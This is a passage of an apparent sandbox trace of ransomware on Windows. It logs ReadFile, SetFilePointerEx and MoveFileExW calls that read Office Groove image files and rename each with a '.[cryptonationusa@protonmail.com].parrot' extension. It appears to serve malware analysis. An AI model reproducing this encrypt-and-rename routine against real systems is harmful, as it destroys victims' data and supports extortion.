lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x161d, lpOverlapped=0x0) returned 1 [0187.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.706] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.706] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.707] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7dd3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x7dd3, lpOverlapped=0x0) returned 1 [0187.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.714] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.715] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.716] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x132a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x132a, lpOverlapped=0x0) returned 1 [0187.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.723] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.723] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.725] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9b8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb9b8, lpOverlapped=0x0) returned 1 [0187.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.732] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.732] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.742] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ebb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4ebb, lpOverlapped=0x0) returned 1 [0187.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.752] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.752] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.754] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5690, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5690, lpOverlapped=0x0) returned 1 [0187.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.762] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.763] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6a, lpOverlapped=0x0) returned 1 [0187.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.769] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.771] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x21a6, lpOverlapped=0x0) returned 1 [0187.771] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.777] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.835] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.835] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d57, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3d57, lpOverlapped=0x0) returned 1 [0187.847] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.855] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.855] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.857] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.857] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1845, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1845, lpOverlapped=0x0) returned 1 [0187.858] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.864] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.864] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.866] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.866] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5141, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5141, lpOverlapped=0x0) returned 1 [0187.867] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.868] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.873] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.873] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.874] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.875] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x193c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x193c, lpOverlapped=0x0) returned 1 [0187.875] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.881] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.883] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.883] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c64, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3c64, lpOverlapped=0x0) returned 1 [0188.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.199] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.199] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.201] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.201] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x276, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x276, lpOverlapped=0x0) returned 1 [0188.201] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.210] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.210] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.211] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.211] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe6, lpOverlapped=0x0) returned 1 [0188.211] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.219] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.219] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.220] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.220] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x41b, lpOverlapped=0x0) returned 1 [0188.220] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.301] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.301] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.302] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb9, lpOverlapped=0x0) returned 1 [0188.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.309] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.309] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.310] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.310] 